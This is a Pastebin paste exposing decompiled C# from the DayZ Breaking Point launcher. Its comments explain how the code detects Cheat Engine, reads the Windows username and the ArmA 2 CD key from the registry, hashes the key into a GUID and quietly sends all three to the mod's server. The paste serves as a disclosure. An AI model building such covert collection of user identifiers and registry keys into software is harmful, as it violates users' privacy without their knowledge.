Guest User

BP launcher offending code

a guest
May 5th, 2013
4,965
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 4.66 KB | None | 0 0
  1. public static string EncodeTo64(string toEncode)
  2. {
  3.     byte[] bytes = Encoding.ASCII.GetBytes(toEncode);
  4.     return Convert.ToBase64String(bytes);
  5. }
  6.  
  7. ##########################################################################
  8. #
  9. #   This is the function to determine if a Cheat Engine install
  10. #   exists. If true, send a flag -- "00xCE". Pretty self explanitory.
  11. #
  12. ##########################################################################
  13. private void EnvironmentThread_DoWork(object sender, DoWorkEventArgs e)
  14. {
  15.     if (Directory.Exists("c:\\program files(x86)\\Cheat Engine 6.2\\"))
  16.     {
  17.         this.EnvironmentThread_PreformAction("00xCE");
  18.     }
  19.     if (Directory.Exists("c:\\program files(x86)\\Cheat Engine 6.1\\"))
  20.     {
  21.         this.EnvironmentThread_PreformAction("00xCE");
  22.     }
  23.     if (Directory.Exists("c:\\program files\\Cheat Engine 6.2\\"))
  24.     {
  25.         this.EnvironmentThread_PreformAction("00xCE");
  26.     }
  27.     if (Directory.Exists("c:\\program files\\Cheat Engine 6.1\\"))
  28.     {
  29.         this.EnvironmentThread_PreformAction("00xCE");
  30.     }
  31. }
  32.  
  33. #########################################################################
  34. #
  35. #   This function grabs the current Windows username with
  36. #   WindowsIdentity.GetCurrent().Name. This also executes
  37. #   EnvironmentThread_Sumbit() -- AKA "phoning home".
  38. #
  39. #########################################################################
  40. private void EnvironmentThread_PreformAction(string hID)
  41. {
  42.     string text = WindowsIdentity.GetCurrent().Name;
  43.     text = text.Replace("\\", " | ");
  44.     string hash = MainWindow.EncodeTo64(text);
  45.     string hash2 = MainWindow.EncodeTo64(this.EnvironmentThread_Key());
  46.     string hash3 = MainWindow.EncodeTo64(hID);
  47.     this.EnvironmentThread_Submit(hash, hash2, hash3);
  48. }
  49.  
  50. #########################################################################
  51. #
  52. #   This function attempts to read the "Key" value of the registry
  53. #   key. The "Key" value is your CD Key converted into hex.
  54. #   It converts the key into the format "XXXX-XXXX-XXXX-XXXX" and
  55. #   passes it to the function MD5Hex().
  56. #
  57. #########################################################################
  58. private string EnvironmentThread_Key()
  59. {
  60.     byte[] keyHex = (byte[])Registry.LocalMachine.CreateSubKey("SOFTWARE\\Wow6432Node\\Bohemia Interactive Studio\\ArmA 2 OA").GetValue("key");
  61.     string text = MainWindow.keyHexToKey(keyHex);
  62.     string password = string.Concat(new string[]
  63.     {
  64.         text.Substring(0, 4),
  65.         "-",
  66.         text.Substring(4, 5),
  67.         "-",
  68.         text.Substring(9, 5),
  69.         "-",
  70.         text.Substring(14, 5),
  71.         "-",
  72.         text.Substring(19, 5)
  73.     });
  74.     return this.MD5Hex("BE" + this.MD5Hex(password));
  75. }
  76.  
  77. #########################################################################
  78. #
  79. #   Here is the dirty work. This function creates a web request to
  80. #   send home to http://update.dayzbreakingpoint.com/update.php
  81. #   The three variables (Cheat Engine Flag, Username, BE GUID) are
  82. #   sent into update.php via a,b,c respectively. See lines 91,97.
  83. #
  84. #########################################################################
  85. public void EnvironmentThread_Submit(string hash1, string hash2, string hash3)
  86. {
  87.     try
  88.     {
  89.         WebRequest webRequest = WebRequest.Create(string.Concat(new string[]
  90.         {
  91.             this.UpdateServer0,
  92.             "data.php?a=",
  93.             hash1,
  94.             "&b=",
  95.             hash2,
  96.             "&c=",
  97.             hash3
  98.         }));
  99.         webRequest.Timeout = 5000;
  100.         WebResponse response = webRequest.GetResponse();
  101.         StreamReader streamReader = new StreamReader(response.GetResponseStream());
  102.         string text = streamReader.ReadToEnd();
  103.         streamReader.Close();
  104.         streamReader.Dispose();
  105. }
  106.     catch (WebException)
  107.     {
  108.         MessageBox.Show("Critcal Error Contacting Update Server.", "Breaking Point", MessageBoxButton.OK, MessageBoxImage.Hand, MessageBoxResult.OK);
  109.         Application.Current.Shutdown();
  110.     }
  111. }
  112. ###############################################################################
  113. #
  114. #   I've included some of the encoding/encrypting functions as references.
  115. #
  116. ###############################################################################
  117. public static string keyHexToKey(byte[] keyHex)
  118. {
  119.     string arg = "";
  120.     string text = "0123456789ABCDEFGHJKLMNPRSTVWXYZ";
  121.     for (int i = 0; i < 3; i++)
  122.     {
  123.         ulong num = 0uL;
  124.         for (int j = 0; j < 5; j++)
  125.         {
  126.             num <<= 8;
  127.             num |= (ulong)keyHex[i * 5 + j];
  128.         }
  129.         for (int j = 0; j < 8; j++)
  130.         {
  131.             ulong num2 = num >> j * 5 & 31uL;
  132.             char c = text[(int)num2];
  133.             arg += c;
  134.         }
  135.     }
  136.     return arg;
  137. }
  138. private string MD5Hex(string password)
  139. {
  140.     MD5 mD = new MD5CryptoServiceProvider();
  141.     byte[] bytes = Encoding.Default.GetBytes(password);
  142.     byte[] array = mD.ComputeHash(bytes);
  143.     string str = "";
  144.     byte[] array2 = array;
  145.     for (int i = 0; i < array2.Length; i++)
  146.     {
  147.         byte b = array2[i];
  148.         str += string.Format("{0:x2}", b);
  149.     }
  150.     return str;
  151. }
Add Comment
Please, Sign In to add comment